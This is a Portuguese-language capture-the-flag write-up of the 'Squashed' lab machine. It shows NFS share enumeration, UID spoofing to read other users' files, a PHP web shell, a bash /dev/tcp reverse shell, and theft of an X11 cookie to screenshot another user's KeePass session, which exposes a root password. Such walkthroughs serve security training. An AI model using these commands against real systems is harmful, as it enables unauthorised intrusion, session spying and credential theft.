Squashed

#easy #OSCP

Máquina Linux fácil onde exploramos uma falha de configuração presente em compartilhamentos NFS que nos permitiu imitar usuários, o que posteriormente nos levou a acessar arquivos que não deveríamos. Por fim, tiramos uma captura de tela de outro usuário através do software x11, de modo que pudemos escalar privilégios obtendo uma shell como root.

Portscan

Comecei executando um ping no endereço IP do alvo para determinar o sistema operacional em uso. O valor TTL mais próximo de 64 indica que há grandes chances do alvo estar executando um sistema operacional Linux.

attacker> ping -c 1 10.10.11.191
PING 10.10.11.191 (10.10.11.191) 56(84) bytes of data.
64 bytes from 10.10.11.191: icmp_seq=1 ttl=63 time=168 ms

--- 10.10.11.191 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 167.961/167.961/167.961/0.000 ms

Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta rustscan para verificar todas as portas (1-65535) no alvo. A varredura revelou a porta 80 HTTP aberta rodando um Apache 2.4.41 em um Linux Ubuntu, além das portas 22 SSH e 2049 NFS.

attacker> rustscan -a 10.10.11.191 -r 1-65535 --ulimit 5000 -- -sCV -oX nmap.xml
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------

PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
|   256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp    open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Built Better
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
111/tcp   open  rpcbind syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      41115/tcp   mountd
|   100005  1,2,3      42437/tcp6  mountd
|   100005  1,2,3      55490/udp   mountd
|   100005  1,2,3      56617/udp6  mountd
|   100021  1,3,4      37017/tcp6  nlockmgr
|   100021  1,3,4      45771/tcp   nlockmgr
|   100021  1,3,4      51632/udp6  nlockmgr
|   100021  1,3,4      56545/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open  nfs_acl syn-ack ttl 63 3 (RPC #100227)
34569/tcp open  mountd  syn-ack ttl 63 1-3 (RPC #100005)
52495/tcp open  mountd  syn-ack ttl 63 1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Como há muitas portas abertas, para uma melhor visualização utilizei a ferramenta nmap-bootstrap, que transforma a saída xml do nmap em um arquivo html com visual melhorado.

attacker> xsltproc -o nmap.html /opt/tools/nmap-bootstrap/nmap-bootstrap.xsl nmap.xml

OS Detection

Após a leitura do TTL do ping e da saída do nmap, sabemos que o alvo é um Linux Ubuntu. Para ampliar nossa enumeração a respeito do sistema operacional, podemos consultar as versões SSH e Apache neste caso para obter mais detalhes sobre qual distribuição está em uso através do site da launchpad.

openssh (1:8.2p1-4ubuntu0.5) focal; urgency=medium
apache2 2.4.41-1ubuntu1 (amd64 binary) in ubuntu focal

Neste caso, ambos os serviços fazem referência à distribuição Ubuntu Focal. Esta detecção é útil para ter uma ideia se o alvo utiliza algum container, por exemplo, caso os serviços retornam distribuições diferentes, então é algo útil a ter em mente durante a fase de enumeração.

HTTP (80) Enumeration

Em seguida, procedi a enumerar o serviço HTTP usando a ferramenta whatweb para coletar informações sobre o software e a versão do servidor web. A saída mostra que na porta 80 há um servidor web Apache/2.4.41. Nada diferente do que obtemos com nmap anteriormente.

attacker> whatweb -v http://10.10.11.191 | tee whatweb.txt
WhatWeb report for http://10.10.11.191
Status    : 200 OK
Title     : Built Better
IP        : 10.10.11.191
Country   : RESERVED, ZZ

Summary   : Apache[2.4.41], Bootstrap, HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], JQuery[3.0.0], Script, X-UA-Compatible[IE=edge]
...
HTTP Headers:
        HTTP/1.1 200 OK
        Date: Sat, 17 Dec 2022 20:21:06 GMT
        Server: Apache/2.4.41 (Ubuntu)
        Last-Modified: Sat, 17 Dec 2022 20:20:01 GMT
        ETag: "7f14-5f00bcf98b296-gzip"
        Accept-Ranges: bytes
        Vary: Accept-Encoding
        Content-Encoding: gzip
        Content-Length: 3375
        Connection: close
        Content-Type: text/html

Navegando na porta 80, temos o website de uma loja de móveis.

A princípio não há nada chamativo neste site, sendo preciso que façamos alguma descoberta de conteúdo para obter mais informação, mas por enquanto, como também temos o serviço NFS exposto, vamos enumerá-lo, se necessário, voltamos ao HTTP.

NFS (2049) Enumeration

Listando as montagens presentes no NFS podemos ver que temos a presença de dois diretórios do alvo, /home/ross e /var/www/html.

attacker> showmount -e 10.10.11.191
Export list for 10.10.11.191:
/home/ross    *
/var/www/html *

Assim, podemos montá-los em nossa máquina atacante para que possamos ver o que está realmente nestes diretórios.

attacker> mkdir /mnt/ross; mkdir /mnt/html
attacker> mount -t nfs 10.10.11.191:/home/ross /mnt/ross
attacker> mount -t nfs 10.10.11.191:/var/www/html /mnt/html

Olhando a estrutura dos diretórios montados, vemos que em alguns deles não temos permissão de acesso, mas o que chama atenção é a presença do arquivo Passwords.kdbx.

attacker> tree -fas /mnt/nfs
[       4096]  /mnt/nfs
├── [          9]  /mnt/nfs/.bash_history -> /dev/null
├── [       4096]  /mnt/nfs/.cache  [error opening dir]
├── [       4096]  /mnt/nfs/.config  [error opening dir]
├── [       4096]  /mnt/nfs/Desktop
├── [       4096]  /mnt/nfs/Documents
   └── [       1365]  /mnt/nfs/Documents/Passwords.kdbx
├── [       4096]  /mnt/nfs/Downloads
├── [       4096]  /mnt/nfs/.gnupg  [error opening dir]
├── [       4096]  /mnt/nfs/.local  [error opening dir]
├── [       4096]  /mnt/nfs/Music
├── [       4096]  /mnt/nfs/Pictures
├── [       4096]  /mnt/nfs/Public
├── [       4096]  /mnt/nfs/Templates
├── [       4096]  /mnt/nfs/Videos
├── [          9]  /mnt/nfs/.viminfo -> /dev/null
├── [         57]  /mnt/nfs/.Xauthority
├── [       2475]  /mnt/nfs/.xsession-errors
└── [       2475]  /mnt/nfs/.xsession-errors.old

12 directories, 6 files

Passwords.kdbx é provavelmente o nome de um arquivo de banco de dados de senhas criado com o software de gerenciamento de senhas Keepass. Podemos até tentar abri-lo, mas será solicitada uma senha mestra que não temos até o momento.

attacker> keepassxc /mnt/ross/Documents/Passwords.kdbx

Partindo para a montagem do servidor web, temos alguns arquivos com o ID 2017 atribuído, aos quais não temos acesso porque nosso usuário na máquina atacante não tem esse ID.

attacker> ls -la /mnt/html
total 52
drwxrwxrwx 5 2017 www-data  4096 Dec 17 16:30 .
drwxr-xr-x 5 root root      4096 Dec 17 16:28 ..
drwxr-xr-x 2 2017 www-data  4096 Dec 17 16:30 css
drwxr-xr-x 2 2017 www-data  4096 Dec 17 16:30 images
-rw-r----- 1 2017 www-data 32532 Dec 17 16:30 index.html
drwxr-xr-x 2 2017 www-data  4096 Dec 17 16:30 js

NFS Imitation

Algumas vezes haverá arquivos/diretórios na montagem aos quais você não terá acesso porque eles têm uma identificação atribuída que existe na máquina alvo, mas não existe na máquina atacante. Para burlar isso, podemos listar o ID do arquivo/diretório e então, na máquina atacante, atribuir esse mesmo ID a um novo usuário, para que possamos acessar e manipular o arquivo/diretório "fingindo" ser um usuário com permissão de acesso baseada no ID que imitamos.

Então vamos criar um usuário (john) em nossa máquina atacante e associá-lo o ID 2017.

attacker> useradd john
attacker> usermod -u 2017 john
attacker> groupmod -g 2017 john

Ao migrar para este usuário, podemos ver os arquivos do webserver.

attacker> su john
john> id
uid=2017(john) gid=2017(john) groups=2017(john)

Existe um index.html, se nós dermos um grep neste arquivo com o mesmo título do site de móveis presente na porta 80, vemos que ele tem o mesmo título. Assim, podemos imaginar que esta montagem é referente ao website presente na porta 80.

john:/mnt/html> grep -i "BUILT" /mnt/html/index.html
      <title>Built Better</title>

Como PoC para validar esta hipótese, podemos criar um arquivo test.txt na montagem e ver se ele reflete na porta 80.

john:/mnt/html> echo 'Hello World' > test.txt

Indo até o webserver procurando por este arquivo que criamos, vemos que ele aparece, ou seja, existe de fato uma conexão entre a montagem e o servidor web.

Gaining Access

Com o wappalyzer podemos ver que o servidor web interpreta a linguagem PHP, de modo que podemos criar um arquivo PHP malicioso na montagem do servidor web para que possamos executar comandos remotamente no alvo.

john:/mnt/html> batcat -l php brunoshell.php
───────┬────────────────────────────────────────────────────────────────
        File: brunoshell.php
───────┼────────────────────────────────────────────────────────────────
   1    <?php
   2        echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
   3    ?>
───────┴────────────────────────────────────────────────────────────────

Uma vez que este arquivo esteja no servidor web, tudo que temos que fazer é acessá-lo no navegador e com o parâmetro ?cmd= podemos executar comandos no alvo.

Portanto, tudo o que temos que fazer é nos colocar em escuta na máquina atacante com netcat e nos enviar uma reverse shell com o comando bash -c "bash -i >%26 /dev/tcp//443 0>%261". Assim, ganhamos acesso ao alvo.

attacker> nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.75] from (UNKNOWN) [10.10.11.191] 53574
bash: cannot set terminal process group (1084): Inappropriate ioctl for device
bash: no job control in this shell
alex@squashed:/var/www/html$ hostname -I; id
hostname -I; id
10.10.11.191 dead:beef::250:56ff:feb9:52e6
uid=2017(alex) gid=2017(alex) groups=2017(alex)

TTY Treatment

Para estabilizar meu console após obter acesso, usei o comando "script /dev/null -c bash" que inicia uma nova sessão do bash e envia toda a saída para /dev/null. Em seguida, coloquei o processo em segundo plano com Ctrl+Z e executei "stty raw -echo" e "fg" para colocar o processo de volta em primeiro plano.

alex@squashed:/var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
alex@squashed:/var/www/html$ ^Z
zsh: suspended  nc -nlvp 443

attacker> stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm

Em seguida, verifiquei e consertei o tamanho do terminal com "stty size", e também defini minhas variáveis de ambiente $TERM e $SHELL como xterm e bash respectivamente. Essas etapas me ajudaram a melhorar a legibilidade e a usabilidade da interface de linha de comando enquanto trabalhava no alvo.

attacker> stty size
53 209
alex@squashed:/var/www/html$ echo $SHELL $TERM
/bin/bash dumb
alex@squashed:/var/www/html$ export SHELL=bash TERM=xterm
alex@squashed:/var/www/html$ echo $SHELL $TERM
bash xterm

User Own

Agora que temos um console estabilizado, com o comando lsb_release -a vemos que de fato a distribuição do alvo é um Linux Ubuntu Focal, como indicava o launchpad.

alex@squashed:/var/www/html$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 20.04.5 LTS
Release:        20.04
Codename:       focal

Podemos iniciar nossa etapa de internal discovery do alvo buscando quais usuários possuem alguma shell no sistema checando o arquivo /etc/passwd. Nele vemos a presença de 2 usuários, alex, com quem estamos logados, e ross.

alex@squashed:/var/www/html$ grep "sh$" /etc/passwd
root:x:0:0:root:/root:/bin/bash
alex:x:2017:2017::/home/alex:/bin/bash
ross:x:1001:1001::/home/ross:/bin/sh

Navegando ao diretório /home do usuário alex podemos encontrar a flag user.txt.

alex@squashed:/home$ cat alex/user.txt
f492be823b13cea5032cbe48f181ca59

Com essa flag, concluímos o primeiro objetivo do CTF e podemos passar para a próxima etapa de escalar privilégios para obter acesso a flag root.txt.

Privilege Escalation

Listando o diretório /home/ross vemos que é a mesma estrutura da montagem que fizemos na máquina do atacante, e que nele contém o arquivo .Xauthority com ID 1001.

alex@squashed:/home$ ls -la ross/
total 68
drwxr-xr-x 14 ross ross 4096 Dec 16 06:33 .
drwxr-xr-x  4 root root 4096 Oct 21 14:57 ..
-rw-------  1 ross ross   57 Dec 16 06:33 .Xauthority
lrwxrwxrwx  1 root root    9 Oct 20 13:24 .bash_history -> /dev/null
drwx------ 11 ross ross 4096 Oct 21 14:57 .cache
drwx------ 12 ross ross 4096 Oct 21 14:57 .config
drwx------  3 ross ross 4096 Oct 21 14:57 .gnupg
drwx------  3 ross ross 4096 Oct 21 14:57 .local
lrwxrwxrwx  1 root root    9 Oct 21 13:07 .viminfo -> /dev/null
-rw-------  1 ross ross 2475 Dec 16 06:33 .xsession-errors
-rw-------  1 ross ross 2475 Oct 31 10:13 .xsession-errors.old
drwxr-xr-x  2 ross ross 4096 Oct 21 14:57 Desktop
drwxr-xr-x  2 ross ross 4096 Oct 21 14:57 Documents
drwxr-xr-x  2 ross ross 4096 Oct 21 14:57 Downloads
drwxr-xr-x  2 ross ross 4096 Oct 21 14:57 Music
drwxr-xr-x  2 ross ross 4096 Oct 21 14:57 Pictures
drwxr-xr-x  2 ross ross 4096 Oct 21 14:57 Public
drwxr-xr-x  2 ross ross 4096 Oct 21 14:57 Templates
drwxr-xr-x  2 ross ross 4096 Oct 21 14:57 Videos
  • what is .Xauthority?

Pentesting x11

A visualização do arquivo .Xauthority de outro usuário é crítica porque se este usuário estiver logado na máquina ao mesmo tempo que o atacante, é possível que o atacante veja a tela dele.

Para ver quais telas estão conectadas à máquina alvo, podemos usar o comando w. Vemos que o user ross está logado usando o display :0.

alex@squashed:/home$ w
 22:57:01 up 1 day, 16:23,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
ross     tty7     :0               Fri06   40:23m  5:26   0.03s /usr/libexec/gn

Se buscarmos Pentesting x11 no Hacktricks, podemos ver como tirar uma captura da tela do alvo. Ao executar alguns comandos de enumeração para x11 como xdpyinfo e xwininfo, é retornado um erro de protocolo.

alex@squashed:/home/alex$ xdpyinfo -display :0
No protocol specified
xdpyinfo:  unable to open display ":0".
alex@squashed:/home/alex$ xwininfo -root -tree -display :0
No protocol specified
xwininfo: error: unable to open display ":0"

NFS Imitation ²

Isto porque ao usuário alex não é atribuído um ID com permissão para ler o arquivo .Xauthority, mas podemos usar a mesma lógica que usamos para imitar o ID dos arquivos no diretório do servidor web em nossa máquina atacante, mas desta vez com a montagem que está refletindo este diretório de ross.

De volta à nossa máquina atacante, podemos criar um novo usuário que tenha o ID 1001, necessário para ter permissões sob o arquivo .Xauthority de ross na máquina alvo.

attacker> ls -la /mnt/ross
total 68
drwxr-xr-x 14 1001 1001 4096 Dec 16 01:33 .
drwxr-xr-x  5 root root 4096 Dec 17 16:28 ..
lrwxrwxrwx  1 root root    9 Oct 20 09:24 .bash_history -> /dev/null
...
-rw-------  1 1001 1001   57 Dec 16 01:33 .Xauthority
-rw-------  1 1001 1001 2475 Dec 16 01:33 .xsession-errors
-rw-------  1 1001 1001 2475 Oct 31 06:13 .xsession-errors.old

Vou criar o user john2 para isso.

attacker> useradd john2
attacker> usermod -u 1001 john2

Ao migrar para john2, temos em seu ID de usuário (UID) o valor 1001, imitando o mesmo ID necessário na máquina alvo para visualizar o arquivo .Xauthority.

attacker> su john2
john2> id
uid=1001(john2) gid=2018(john2) groups=2018(john2)

Finalmente, podemos a partir da montagem ler o arquivo .Xauthority de ross, de modo que vemos que ele carrega um cookie.

john2:/mnt/ross> cat .Xauthority
squashed.htb0MIT-MAGIC-COOKIE-1�8��|En7m��      �Sjohn2@kali:/mnt/ross$

john2:/mnt/ross> xxd .Xauthority
00000000: 0100 000c 7371 7561 7368 6564 2e68 7462  ....squashed.htb
00000010: 0001 3000 124d 4954 2d4d 4147 4943 2d43  ..0..MIT-MAGIC-C
00000020: 4f4f 4b49 452d 3100 109d 1238 d4d9 7c45  OOKIE-1....8..|E
00000030: 6e04 376d 90cb 09bb 53                   n.7m....S

No entanto, no alvo estamos logados como alex, e seu .Xauthority é diferente do .Xauthority de ross. Para que o alex tenha o mesmo .Xauthority que o ross, podemos subir um servidor HTTP da máquina atacante e transferir o .Xauthority do ross para o alex usando o wget.

john2:/mnt/ross> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
alex@squashed:/home/alex$ wget http://10.10.14.75/.Xauthority
...
.Xauthority         100%[===================>]      57   338 B/s    in 0.2s

alex@squashed:/home/alex$ ls -la
total 68
drwxr-xr-x 15 alex alex 4096 Dec 17 23:05 .
drwxr-xr-x  4 root root 4096 Oct 21 14:57 ..
-rw-r--r--  1 alex alex   57 Dec 16 06:33 .Xauthority
...

Agora temos que atribuir o diretório /home/alex onde está o arquivo .Xauthority para a variável $HOME que está atualmente vazia.

alex@squashed:/home/alex$ echo $HOME

alex@squashed:/home/alex$ export HOME=/home/alex/
alex@squashed:/home/alex$ echo $HOME
/home/alex/

Ao executar alguns comandos de enumeração para x11 como xdpyinfo e xwininfo novamente, desta vez conseguimos obter informações.

alex@squashed:/home/alex$ xdpyinfo -display :0
vendor string:    The X.Org Foundation
vendor release number:    12013000
X.Org version: 1.20.13
maximum request size:  16777212 bytes
motion buffer size:  256
bitmap unit, bit order, padding:    32, LSBFirst, 32
image byte order:    LSBFirst
number of supported pixmap formats:    7
supported pixmap formats:
    depth 1, bits_per_pixel 1, scanline_pad 32
    depth 4, bits_per_pixel 8, scanline_pad 32
    depth 8, bits_per_pixel 8, scanline_pad 32
    depth 15, bits_per_pixel 16, scanline_pad 32
    depth 16, bits_per_pixel 16, scanline_pad 32
    depth 24, bits_per_pixel 32, scanline_pad 32
    depth 32, bits_per_pixel 32, scanline_pad 32
keycode range:    minimum 8, maximum 255
focus:  window 0x1e00006, revert to PointerRoot
number of extensions:    28
    BIG-REQUESTS
    Composite
...

Com o comando xwininfo obtemos mais detalhes sobre o que está sendo transmitido na tela de ross.

alex@squashed:/home/alex$ xwininfo -root -tree -display :0

xwininfo: Window id: 0x533 (the root window) (has no name)

  Root window id: 0x533 (the root window) (has no name)
  Parent window id: 0x0 (none)
     26 children:
     0x80000b "gnome-shell": ("gnome-shell" "Gnome-shell")  1x1+-200+-200  +-200+-200
        1 child:
        0x80000c (has no name): ()  1x1+-1+-1  +-201+-201
     0x800022 (has no name): ()  802x575+-1+26  +-1+26
        1 child:
        0x1e00006 "Passwords - KeePassXC": ("keepassxc" "keepassxc")  800x536+1+38  +0+64
           1 child:
           0x1e000fe "Qt NET_WM User Time Window": ()  1x1+-1+-1  +-1+63
     0x1e00008 "Qt Client Leader Window": ()  1x1+0+0  +0+0
     0x2000001 "keepassxc": ("keepassxc" "Keepassxc")  10x10+10+10  +10+10
     0x1e00004 "Qt Selection Owner for keepassxc": ()  3x3+0+0  +0+0
     0x1800002 (has no name): ()  10x10+0+0  +0+0
     0x800017 (has no name): ()  1x1+-1+-1  +-1+-1
     0x1c00001 "evolution-alarm-notify": ("evolution-alarm-notify" "Evolution-alarm-notify")  10x10+10+10  +10+10
     0x1a00001 "gsd-media-keys": ("gsd-media-keys" "Gsd-media-keys")  10x10+10+10  +10+10
     0x1800001 "gsd-xsettings": ("gsd-xsettings" "Gsd-xsettings")  10x10+10+10  +10+10
     0x1400001 "gsd-wacom": ("gsd-wacom" "Gsd-wacom")  10x10+10+10  +10+10
     0x1600001 "gsd-color": ("gsd-color" "Gsd-color")  10x10+10+10  +10+10
     0x1200001 "gsd-power": ("gsd-power" "Gsd-power")  10x10+10+10  +10+10
     0x1000001 "gsd-keyboard": ("gsd-keyboard" "Gsd-keyboard")  10x10+10+10  +10+10
     0xc00003 "ibus-xim": ()  1x1+0+0  +0+0
        1 child:
        0xc00004 (has no name): ()  1x1+-1+-1  +-1+-1
     0xc00001 "ibus-x11": ("ibus-x11" "Ibus-x11")  10x10+10+10  +10+10
     0xa00001 "ibus-extension-gtk3": ("ibus-extension-gtk3" "Ibus-extension-gtk3")  10x10+10+10  +10+10
     0x800011 (has no name): ()  1x1+-100+-100  +-100+-100
     0x80000f (has no name): ()  1x1+-1+-1  +-1+-1
     0x800009 (has no name): ()  1x1+-100+-100  +-100+-100
     0x800008 (has no name): ()  1x1+-100+-100  +-100+-100
     0x800007 (has no name): ()  1x1+-100+-100  +-100+-100
     0x800006 "GNOME Shell": ()  1x1+-100+-100  +-100+-100
     0x800001 "gnome-shell": ("gnome-shell" "Gnome-shell")  10x10+10+10  +10+10
     0x600008 (has no name): ()  1x1+-100+-100  +-100+-100
     0x800010 "mutter guard window": ()  800x600+0+0  +0+0

Com isto, podemos ver algo relacionado ao keepass, dando a entender que o keepass está aberto. Podemos então tirar uma captura de tela.

alex@squashed:/home/alex$ xwd -root -screen -silent -display :0 > screenshot.xwd

Uma vez tirada a captura de tela, podemos transferi-la para a máquina do atacante para uma melhor visualização.

alex@squashed:/home/alex$ md5sum screenshot.xwd
b48352a61b6339bd01520b6312dded5c  screenshot.xwd

alex@squashed:/home/alex$ nc 10.10.14.75 443 < screenshot.xwd
attacker> nc -nlvp 443 > screenshot.xwd
listening on [any] 443 ...
connect to [10.10.14.75] from (UNKNOWN) [10.10.11.191] 55304

attacker> file screenshot.xwd
screenshot.xwd: XWD X Window Dump image data, "xwdump", 800x600x24

attacker> md5sum screenshot.xwd
b48352a61b6339bd01520b6312dded5c  screenshot.xwd

Na máquina atacante, podemos converter a captura de tela para png.

attacker> convert screenshot.xwd screenshot.png
attacker> file screenshot.png
screenshot.png: PNG image data, 800 x 600, 8-bit/color RGB, non-interlaced

Olhando para a captura da tela, vemos que realmente se trata do Keepass, o que nos expõe as credenciais de root: cah$mei7rai9A.

Podemos usá-la e ter acesso ao usuário root.

alex@squashed:/home/alex$ su root
Password:
root@squashed:/home/alex# id
uid=0(root) gid=0(root) groups=0(root)

Então basta ler a flag root.txt no diretório /root para concluir o objetivo do CTF.

root@squashed:/home/alex# cat /root/root.txt 
7883eab0128d56789f1efaa2b13fd4df

Atualizado